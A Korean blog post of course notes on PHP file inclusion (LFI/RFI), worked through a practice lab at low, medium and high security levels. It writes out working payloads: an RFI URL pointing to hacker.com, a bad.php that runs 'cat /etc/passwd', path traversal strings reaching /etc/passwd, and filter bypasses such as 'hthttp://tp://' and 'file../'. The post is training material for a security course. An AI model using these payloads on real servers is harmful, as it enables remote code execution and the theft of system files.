본 포스트는 https://www.udemy.com/의 강좌 화이트헤커가 되기 위한 8가지 웹 해킹 기술 강좌를 바탕으로 작성했습니다.
PHP 애플리케이션에서 발생하는 공격이다. PHP include()를 통해서 지정한 파일을 직접 소스코드에 삽입할 수 있기 때문이다.
파일 인클루젼은 2가지로 나뉜다.
[1]로컬파일인쿨르전(LFI) - 웹서버 시스템이 이미 존재하는 파일을 인클루드 하는 것이다.
[2]리모트파일인클루젼(RFI) - 더 강력한 공격으로 원격으로 외부의 파일을 인클루드 할 수 있다.
[공격 시나리오]
정상적인 상황에서
page=file.php
include(file.php)
file.php를 인클루드 하고 있다.
이때 해커는 page=http://hacker.com/bad.php 로 인클루드 할 것을 지정한다. 웹 에플리케이션이 따로 지정되지 않으면 hacker.com 의 bad.php값을 받아와서 인클루드 한 다음에 bad.php파일을 실행하게 된다.
[파일 인클루젼 공격 실습]
Low Level
File Inclusion 메뉴를 누르면 ?page=include.php에서 인클루드 되는 것이다
File1을 누르면 주소창에 file1.php 이렇게 이름이 바뀐다. 해당하는 php파일이 인클루드 되는 것이다.
주소?page=http://127.0.0.1/bad.php 하면 bad.php가 실행된다.
bad.php내용
<?php
print "RFI SUCCESS!! hacked!!!";
system('cat /etc/passwd');
?>
page=../../../../../../../etc/passwd 라고 입력한다. 이런 방식으로 상위 디렉토리로 가서 공격하는 것을 패스 트레버셜(Path Traversal) 공격이라고 한다.
Medium Level
입력 값 검증하는 것이 생겼다.
../를 막는 부분도 있다.
그런데 hthttp://tp://127.0.0.1/bad.php 처럼 http 사이에 http를 쓰면 막지 못한다.
http://를 지우지만. 지우고 남은 문자열이 http://를 구성하기 때문이다.
High Level
file*로 검사한다.
전체 루틴을 통해 페이지 파라미터가 include.php가 아니라면 에러를 발생시킨다.
file검사를 하므로 ?page=file../../../../../../../etc/passwd 라고 입력한다.
임파서블 단계
파일이 정확하게 인클루드 됬는지 확인한다.
반드시 필요한 파일만 인클루드 되도록 철처히 검사 해야 한다.
'Computer Science > Security' 카테고리의 다른 글
[화이트헤커가 되기 위한 8가지 웹 해킹 기술]캡차 공격(CAPTCHA Attack) (0) | 2017.08.23 |
---|---|
[화이트헤커가 되기 위한 8가지 웹 해킹 기술]파일 업로드 공격(File Upload Attack) (0) | 2017.08.23 |
[화이트헤커가 되기 위한 8가지 웹 해킹 기술]CSRF 공격(CSRF ATTACK) (0) | 2017.08.23 |
[화이트헤커가 되기 위한 8가지 웹 해킹 기술]커맨드인젝션 공격(Command Injection Attack) (0) | 2017.08.23 |
[화이트헤커가 되기 위한 8가지 웹 해킹 기술]브루트 포스 공격(Brute Force Attack) (0) | 2017.08.22 |